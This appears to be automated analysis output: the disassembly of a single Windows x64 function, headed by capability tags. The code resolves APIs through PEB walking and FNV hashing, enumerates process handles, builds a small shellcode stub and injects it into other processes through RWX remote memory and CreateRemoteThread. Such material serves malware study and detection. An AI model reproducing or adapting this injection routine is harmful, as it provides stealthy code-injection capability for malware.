Function at 0x140005960
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Get kernel32 base address
Get process filename
Hash data using fnv
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor esi, esi
mov qword [rbp - 0x40], rdx
mov r12d, 4
mov rax, rdx
mov r13, rcx
mov qword [rbp - 0x48], rcx
mov r15d, esi
mov byte [rsp + 0x41], 0
mov dword [rsp + 0x44], esi
mov dword [rbp - 0x34], esi
mov dword [rsp + 0x64], r12d
mov qword [rsp + 0x58], rsi
cmp qword [rcx], rsi
je 0x1400059c8
cmp qword [rcx + 8], rsi
jne 0x140005cf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000ccb0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140005a89
movsxd rax, dword [r10 + 0x3c]
mov r11d, esi
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax]
nop dword [rax + rax]
mov ebx, r11d
mov r9d, 0x1e4f2f95
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140005a61
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140005a30
cmp r9d, 0xc0ba53f5
je 0x140005a66
inc r11d
jmp 0x140005a10
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000ccb0], rax
xor esi, esi
mov qword [r13], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cca0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140005b47
movsxd rax, dword [r10 + 0x3c]
mov r11d, esi
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax]
mov ebx, r11d
mov r9d, 0xa78a44ed
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140005b21
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140005af0
cmp r9d, 0xdc69edc2
je 0x140005b26
inc r11d
jmp 0x140005ad0
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cca0], rax
mov qword [r13 + 8], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cc90]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140005c08
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop word [rax + rax]
lea rax, [rsi + r11*4]
mov r9d, 0x3a06813d
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140005be1
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140005bb0
cmp r9d, 0xf17647a2
je 0x140005be6
inc r11d
jmp 0x140005b90
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cc90], rax
mov qword [r13 + 0x10], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000ccd8]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140005cc8
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
lea rax, [rsi + r11*4]
mov r9d, 0x4b1db01d
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140005ca1
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140005c70
cmp r9d, 0xfbefd0f
je 0x140005ca6
inc r11d
jmp 0x140005c50
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000ccd8], rax
mov qword [r13 + 0x18], rax
cmp qword [r13], r15
je 0x14000726f
cmp qword [r13 + 8], r15
je 0x14000726f
cmp qword [r13 + 0x10], r15
je 0x14000726f
test rax, rax
je 0x14000726f
mov rax, qword [rbp - 0x40]
xor esi, esi
test rax, rax
je 0x140005d00
mov dword [rax], esi
mov ebx, 1
cmp dword [r13 + 0x40], r15d
je 0x140005d42
cmp dword [r13 + 0x58], r15d
je 0x140005d42
cmp dword [r13 + 0x28], r15d
je 0x140005d42
cmp dword [r13 + 0x70], r15d
je 0x140005d42
cmp dword [r13 + 0x88], r15d
je 0x140005d42
mov qword [r13 + 0x38], rsi
mov qword [r13 + 0x50], rsi
mov qword [r13 + 0x20], rsi
mov qword [r13 + 0x68], rsi
mov qword [r13 + 0x80], rsi
jmp 0x140005f16
xor r9d, r9d
xor r8d, r8d
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [r13 + 0x38], rax
xor edx, edx
mov rax, qword gs:[0x30]
lea ecx, [rdx + 0x40]
mov r8d, dword [rax + 0x48]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [r13 + 0x20], rax
xor edx, edx
mov rax, qword gs:[0x30]
mov ecx, 0x400
mov r8d, dword [rax + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [r13 + 0x50], rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140005dc2
nop word [rax + rax]
cmp qword [rax + 0x50], r15
jne 0x140005ea6
mov rax, qword [rax]
cmp rax, rcx
jne 0x140005db0
mov rcx, rsi
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov r8d, ebx
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [rbp - 0x20], 0x30
xorps xmm0, xmm0
mov qword [r13 + 0x80], rax
movdqu xmmword [rbp], xmm0
mov qword [rbp - 0x18], rsi
mov dword [rbp - 8], esi
mov qword [rbp - 0x10], rsi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cbf0]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140005ed2
movsxd rax, dword [r10 + 0x3c]
mov r11d, esi
mov edi, dword [rax + r10 + 0x88]
mov esi, dword [rdi + r10 + 0x20]
nop dword [rax + rax]
mov ebx, r11d
mov r9d, 0x95cf6373
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r10]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140005ea1
nop
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140005e70
cmp r9d, 0x6c66f5a3
je 0x140005eaf
inc r11d
jmp 0x140005e50
mov rcx, qword [rax + 0x40]
jmp 0x140005dc5
mov ecx, dword [rdi + r10 + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + r10 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cbf0], rax
xor esi, esi
xor r9d, r9d
lea rcx, [r13 + 0x68]
lea r8, [rbp - 0x20]
lea edx, [r9 + 8]
call rax
test eax, eax
js 0x140006d94
cmp qword [r13 + 0x80], r15
je 0x140006d94
cmp qword [r13 + 0x50], r15
je 0x140006d94
cmp qword [r13 + 0x20], r15
je 0x140006d94
cmp qword [r13 + 0x38], r15
je 0x140006d94
mov rax, qword gs:[0x30]
lea r9, [rbp - 0x34]
lea rdx, [rbp - 0x34]
mov ecx, 0x10
mov rdi, qword [rax + 0x40]
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x48]
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], rsi
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], rsi
mov rax, qword [r13 + 8]
mov r8d, dword [rbp - 0x34]
call rax
mov edx, eax
cmp eax, 0xc0000004
jne 0x140005fc1
nop word [rax + rax]
test r15, r15
je 0x140005f86
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x34]
xor ecx, ecx
mov r9d, r12d
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x34]
lea r9, [rbp - 0x34]
mov r15, rax
mov ecx, 0x10
mov rax, qword [r13 + 8]
mov rdx, r15
call rax
mov edx, eax
cmp eax, 0xc0000004
je 0x140005f70
mov qword [rsp + 0x58], r15
mov rax, qword gs:[0x30]
mov qword [rax + 0x40], rdi
mov rax, qword gs:[0x30]
mov qword [rax + 0x48], rbx
test edx, edx
js 0x14000725c
cmp dword [r13 + 0x40], 0
je 0x14000600d
cmp dword [r13 + 0x58], 0
je 0x14000600d
cmp dword [r13 + 0x28], 0
je 0x14000600d
cmp dword [r13 + 0x70], 0
je 0x14000600d
cmp dword [r13 + 0x88], 0
jne 0x1400060eb
cmp dword [r15], 0
mov r9d, esi
jbe 0x1400060eb
nop word [rax + rax]
mov eax, r9d
lea rcx, [rax + rax*2]
movups xmm1, xmmword [r15 + rcx*8 + 8]
movsd xmm0, qword [r15 + rcx*8 + 0x18]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
cmp ax, di
jne 0x1400060df
mov rcx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
mov rdx, rcx
shr rdx, 0x30
cmp dx, word [r13 + 0x38]
jne 0x140006075
mov rax, rcx
mov qword [r13 + 0x48], r8
shr rax, 0x20
movzx eax, al
mov dword [r13 + 0x40], eax
cmp dx, word [r13 + 0x50]
jne 0x14000608e
mov rax, rcx
mov qword [r13 + 0x60], r8
shr rax, 0x20
movzx eax, al
mov dword [r13 + 0x58], eax
cmp dx, word [r13 + 0x20]
jne 0x1400060a7
mov rax, rcx
mov qword [r13 + 0x30], r8
shr rax, 0x20
movzx eax, al
mov dword [r13 + 0x28], eax
cmp dx, word [r13 + 0x68]
jne 0x1400060c0
mov rax, rcx
mov qword [r13 + 0x78], r8
shr rax, 0x20
movzx eax, al
mov dword [r13 + 0x70], eax
cmp dx, word [r13 + 0x80]
jne 0x1400060df
shr rcx, 0x20
movzx eax, cl
mov dword [r13 + 0x88], eax
mov qword [r13 + 0x90], r8
inc r9d
cmp r9d, dword [r15]
jb 0x140006020
mov rdi, qword [rsp + 0x58]
mov edx, esi
mov dword [rsp + 0x4c], edx
mov r9d, dword [rdi]
test r9d, r9d
je 0x140006795
mov eax, edx
lea rcx, [rax + rax*2]
movups xmm1, xmmword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
movd r10d, xmm1
movups xmmword [rsp + 0x70], xmm1
movzx r15d, r10w
movsd qword [rbp - 0x80], xmm0
mov dword [rsp + 0x50], r15d
cmp dword [rsp + 0x44], r15d
je 0x14000675e
mov rax, qword gs:[0x30]
cmp r10w, word [rax + 0x40]
je 0x14000675e
mov rbx, qword [r13 + 0x60]
mov r8d, esi
mov dword [rsp + 0x44], r15d
test r9d, r9d
je 0x14000675e
lea rdx, [rdi + 8]
mov r11d, r9d
mov rcx, rdx
nop dword [rax]
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x60], xmm1
movsd qword [rbp - 0x50], xmm0
cmp ax, r10w
jne 0x1400061a0
cmp qword [rbp - 0x58], rbx
jne 0x1400061a0
test byte [rbp - 0x50], 0x30
lea eax, [r8 + 1]
cmove eax, r8d
mov r8d, eax
add rcx, 0x18
sub r9, 1
jne 0x140006170
test r8d, r8d
je 0x14000675a
mov rbx, qword [r13 + 0x30]
mov r8d, esi
mov rcx, rdx
mov r9, r11
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x60], xmm1
movsd qword [rbp - 0x50], xmm0
cmp ax, r10w
jne 0x1400061f0
cmp qword [rbp - 0x58], rbx
jne 0x1400061f0
test byte [rbp - 0x50], 0x18
lea eax, [r8 + 1]
cmove eax, r8d
mov r8d, eax
add rcx, 0x18
sub r9, 1
jne 0x1400061c0
test r8d, r8d
je 0x14000675a
mov r8d, dword [r13 + 0x70]
mov ecx, esi
nop dword [rax]
movups xmm1, xmmword [rdx]
movsd xmm0, qword [rdx + 0x10]
movd eax, xmm1
movups xmmword [rbp - 0x60], xmm1
movsd qword [rbp - 0x50], xmm0
cmp ax, r10w
jne 0x14000624a
mov rax, qword [rbp - 0x60]
shr rax, 0x20
movzx eax, al
cmp eax, r8d
jne 0x14000624a
test dword [rbp - 0x50], 0x1f000f
lea eax, [rcx + 1]
cmove eax, ecx
mov ecx, eax
add rdx, 0x18
sub r11, 1
jne 0x140006210
test ecx, ecx
jne 0x140006b3e
mov rax, qword [r13 + 0x10]
xor r14b, r14b
mov r12d, dword [r13 + 0x88]
mov r15, qword [r13]
mov r13, qword [r13 + 0x18]
mov dword [rbp - 0x38], esi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x68], rax
mov rax, qword gs:[0x60]
mov dword [rsp + 0x60], r12d
mov qword [rbp - 0x30], r15
mov qword [rbp + 0x10], r13
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
mov byte [rsp + 0x40], r14b
cmp rax, rcx
je 0x1400062c3
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x140006339
mov rax, qword [rax]
cmp rax, rcx
jne 0x1400062b0
mov rdi, rsi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x1400062ef
cmp qword [rax + 0x50], 0
jne 0x14000633f
mov rax, qword [rax]
cmp rax, rcx
jne 0x1400062e0
mov ebx, esi
xor ecx, ecx
movsxd rdx, ebx
inc rdx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd rdx, ebx
mov rsi, rax
mov qword [rsp + 0x68], rax
test ebx, ebx
je 0x140006461
lea rcx, [rdx - 1]
lea rcx, [rdi + rcx*2]
cmp word [rcx], 0x5c
je 0x14000635e
sub rcx, 2
sub rdx, 1
jne 0x140006324
jmp 0x140006461
mov rdi, qword [rax + 0x40]
jmp 0x1400062c6
mov rcx, qword [rax + 0x40]
mov ebx, esi
test rcx, rcx
je 0x1400062ef
cmp word [rcx], 0
je 0x1400062f1
inc ebx
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x140006350
jmp 0x1400062f1
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140006393
nop dword [rax + rax]
cmp qword [rax + 0x50], 0
jne 0x140006436
mov rax, qword [rax]
cmp rax, rcx
jne 0x140006380
xor ecx, ecx
lea r9, [rdx + rdx]
lea rax, [r9 + rcx]
xor ecx, ecx
test rax, rax
je 0x1400063bc
cmp word [rax], cx
je 0x1400063bc
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x1400063b0
mov rax, qword gs:[0x60]
movsxd rdx, ecx
shl rdx, 3
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x1400063ef
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x14000643f
mov rax, qword [rax]
cmp rax, rcx
jne 0x1400063e0
xor r8d, r8d
lea rax, [r9 + r8]
mov rcx, rsi
cmp rsi, rax
jbe 0x140006445
add rax, rdx
cmp rsi, rax
jae 0x140006445
lea rcx, [rsi - 1]
add rcx, rdx
lea r8, [rax - 1]
test rdx, rdx
je 0x140006461
nop word [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 - 1]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140006420
jmp 0x140006461
mov rcx, qword [rax + 0x40]
jmp 0x140006395
mov r8, qword [rax + 0x40]
jmp 0x1400063f2
test rdx, rdx
je 0x140006461
sub r9, rsi
add r8, r9
movzx eax, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140006450
mov rax, qword [rsp + 0x58]
xor edi, edi
mov dword [rsp + 0x48], edi
cmp dword [rax], edi
jbe 0x14000672b
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rsp + 0x58]
lea rcx, [rdi + rdi*2]
movups xmm1, xmmword [rax + rcx*8 + 8]
movsd xmm0, qword [rax + rcx*8 + 0x18]
mov ecx, dword [rsp + 0x50]
movd eax, xmm1
movups xmmword [rbp - 0x60], xmm1
movzx eax, ax
movsd qword [rbp - 0x50], xmm0
cmp eax, ecx
jne 0x140006718
mov rax, qword [rbp - 0x60]
shr rax, 0x20
movzx eax, al
cmp eax, r12d
jne 0x140006718
test dword [rbp - 0x50], 0x120089
je 0x140006718
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp - 0x70], rax
mov rbx, rax
test rax, rax
je 0x140006718
movzx edx, word [rbp - 0x5a]
lea r9, [rbp - 0x28]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov rcx, rbx
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call r13
test eax, eax
js 0x14000670d
mov rcx, qword [rbp - 0x28]
lea rax, [rbp - 0x38]
mov rdi, qword [rbp - 0x68]
lea r8, [rbp - 0x38]
mov r9d, 0x10
mov qword [rsp + 0x20], rax
lea edx, [r9 - 0xf]
call rdi
mov edx, dword [rbp - 0x38]
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [rbp - 0x38]
mov edx, 1
mov rcx, qword [rbp - 0x28]
mov r13, rax
lea rax, [rbp - 0x38]
mov r8, r13
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
js 0x1400066e3
movzx r15d, word [rsi]
lea r12, [rsi + 2]
mov rbx, qword [r13 + 8]
mov rdx, rbx
test r15w, r15w
je 0x140006623
movzx eax, word [rdx]
mov r14, rdx
add rdx, 2
test ax, ax
je 0x140006630
cmp ax, r15w
jne 0x140006590
mov r9, r12
test rdx, rdx
je 0x140006590
test r12, r12
je 0x140006590
mov rdi, rdx
sub rdi, r12
nop dword [rax]
movzx r8d, word [rdi + r9]
movzx r10d, word [r9]
lea r11d, [r8 - 0x41]
cmp r11d, 0x19
lea ecx, [r8 + 0x20]
lea esi, [r10 - 0x41]
cmova ecx, r8d
lea eax, [r10 + 0x20]
cmp esi, 0x19
cmova eax, r10d
cmp ecx, eax
jne 0x140006604
test r8w, r8w
je 0x1400065fe
test r10w, r10w
je 0x140006604
add r9, 2
jmp 0x1400065c0
test r10w, r10w
je 0x140006620
cmp r11d, 0x19
ja 0x14000660e
add r8d, 0x20
cmp esi, 0x19
ja 0x140006617
add r10d, 0x20
cmp r8d, r10d
jne 0x140006590
mov rdx, r14
test rdx, rdx
jne 0x1400066c1
nop dword [rax]
movzx eax, word [rbx]
mov rsi, rbx
add rbx, 2
test ax, ax
je 0x1400066cb
cmp ax, 0x73
jne 0x140006630
lea rax, [0x140009382]
mov r9, rax
test rbx, rbx
je 0x140006630
mov r11, rbx
sub r11, rax
nop
movzx edx, word [r11 + r9]
movzx r8d, word [r9]
lea r10d, [rdx - 0x41]
cmp r10d, 0x19
lea ecx, [rdx + 0x20]
lea edi, [r8 - 0x41]
cmova ecx, edx
lea eax, [r8 + 0x20]
cmp edi, 0x19
cmova eax, r8d
cmp ecx, eax
jne 0x1400066a1
test dx, dx
je 0x14000669b
test r8w, r8w
je 0x1400066a1
add r9, 2
jmp 0x140006660
test r8w, r8w
je 0x1400066bc
cmp r10d, 0x19
ja 0x1400066aa
add edx, 0x20
cmp edi, 0x19
ja 0x1400066b3
add r8d, 0x20
cmp edx, r8d
jne 0x140006630
test rsi, rsi
je 0x1400066cb
mov r14b, 1
mov byte [rsp + 0x40], r14b
jmp 0x1400066d1
movzx r14d, byte [rsp + 0x40]
mov rbx, qword [rbp - 0x70]
mov rsi, qword [rsp + 0x68]
mov r15, qword [rbp - 0x30]
mov r12d, dword [rsp + 0x60]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x1400066ef
call r15
test r13, r13
je 0x140006705
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rbp + 0x10]
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call r15
test r14b, r14b
jne 0x14000672b
mov rax, qword [rsp + 0x58]
inc edi
mov dword [rsp + 0x48], edi
cmp edi, dword [rax]
jb 0x140006480
test rsi, rsi
je 0x140006741
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rbp - 0x48]
xor esi, esi
test r14b, r14b
jne 0x140006b39
mov rdi, qword [rsp + 0x58]
mov r12d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x4c]
cmp word [rsp + 0x72], 0
jne 0x14000677a
cmp dword [rbp - 0x80], 0
jne 0x14000677a
cmp qword [rsp + 0x78], 0
jne 0x14000677a
add r12d, 0xffffffe8
jmp 0x14000677e
add r12d, 0x18
mov r9d, dword [rdi]
inc edx
mov dword [rsp + 0x64], r12d
mov dword [rsp + 0x4c], edx
cmp edx, r9d
jb 0x140006102
mov eax, esi
mov dword [rsp + 0x60], eax
test r9d, r9d
je 0x140007231
mov edx, dword [rsp + 0x44]
nop dword [rax + rax]
lea rcx, [rax + rax*2]
mov r10d, dword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
movzx r15d, r10w
movsd qword [rbp - 0x80], xmm0
mov dword [rsp + 0x4c], r15d
cmp edx, r15d
je 0x1400071fb
mov rax, qword gs:[0x30]
cmp r10w, word [rax + 0x40]
je 0x1400071fb
mov ebx, dword [r13 + 0x40]
mov r8d, esi
mov dword [rsp + 0x44], r15d
test r9d, r9d
je 0x140007216
lea rdx, [rdi + 8]
mov r11d, r9d
mov rcx, rdx
nop dword [rax]
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
cmp ax, r10w
jne 0x14000683f
mov rax, qword [rsp + 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, ebx
jne 0x14000683f
inc r8d
add rcx, 0x18
sub r9, 1
jne 0x140006810
test r8d, r8d
je 0x140007216
mov ebx, dword [r13 + 0x28]
mov r8d, esi
mov rcx, rdx
mov r9, r11
nop
movups xmm1, xmmword [rcx]
movsd xmm0, qword [rcx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
cmp ax, r10w
jne 0x14000688f
mov rax, qword [rsp + 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, ebx
jne 0x14000688f
inc r8d
add rcx, 0x18
sub r9, 1
jne 0x140006860
test r8d, r8d
jne 0x140007216
mov r8d, dword [r13 + 0x58]
mov ecx, esi
nop dword [rax + rax]
movups xmm1, xmmword [rdx]
movsd xmm0, qword [rdx + 0x10]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movsd qword [rbp - 0x80], xmm0
cmp ax, r10w
jne 0x1400068df
mov rax, qword [rsp + 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, r8d
jne 0x1400068df
inc ecx
add rdx, 0x18
sub r11, 1
jne 0x1400068b0
test ecx, ecx
jne 0x140007216
mov r14, qword [r13]
xor edx, edx
mov r8d, r15d
mov qword [rbp + 0x10], rsi
mov dword [rbp + 0x20], 0x8b486550
mov dword [rbp + 0x24], 0x302504
lea ecx, [rdx + 0x3a]
mov dword [rbp + 0x28], 0x483e0000
mov dword [rbp + 0x2c], 0x16a8b883
mov dword [rbp + 0x30], 0x74000000
mov dword [rbp + 0x34], 0xc7483e20
mov qword [rbp + 0x38], 0x16a880
mov dword [rbp + 0x40], 0xc0314800
mov dword [rbp + 0x44], 0xd5058d48
mov dword [rbp + 0x48], 0x36ffffff
mov dword [rbp + 0x4c], 0x100c748
mov dword [rbp + 0x50], 0x58000000
mov dword [rbp + 0x54], 0xc03148c3
mov dword [rbp + 0x58], 0xc1058d48
mov dword [rbp + 0x5c], 0x36ffffff
mov dword [rbp + 0x60], 0xc748
mov dword [rbp + 0x64], 0x58000000
mov byte [rbp + 0x68], 0xc3
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140006a47
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, r9d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140006a41
mov r9d, 0x49
mov qword [rsp + 0x20], rsi
lea r8, [rbp + 0x20]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140006a30
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor edx, edx
mov r8d, 0x1000
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140006a2a
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 8
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x10]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, rsi
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call r14
cmp qword [rbp + 0x10], 0
jne 0x140007220
mov rax, qword [r13 + 0x10]
xor edx, edx
mov esi, dword [r13 + 0x88]
xor r15b, r15b
mov r12, qword [r13]
mov r13, qword [r13 + 0x18]
mov dword [rbp - 0x38], edx
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x68], rax
mov rax, qword gs:[0x60]
mov dword [rsp + 0x48], esi
mov qword [rbp - 0x70], r12
mov qword [rbp + 0x10], r13
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
mov byte [rsp + 0x40], r15b
cmp rax, rcx
je 0x140006ab2
cmp qword [rax + 0x50], rdx
jne 0x140006de2
mov rax, qword [rax]
cmp rax, rcx
jne 0x140006aa0
mov rdi, rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140006ae2
nop
cmp qword [rax + 0x50], rdx
jne 0x140006deb
mov rax, qword [rax]
cmp rax, rcx
jne 0x140006ad0
mov ebx, edx
xor ecx, ecx
movsxd rdx, ebx
inc rdx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movsxd rdx, ebx
mov r14, rax
mov qword [rsp + 0x68], rax
test ebx, ebx
je 0x140006f11
lea rcx, [rdx - 1]
lea rcx, [rdi + rcx*2]
nop word [rax + rax]
cmp word [rcx], 0x5c
je 0x140006e13
sub rcx, 2
sub rdx, 1
jne 0x140006b20
jmp 0x140006f11
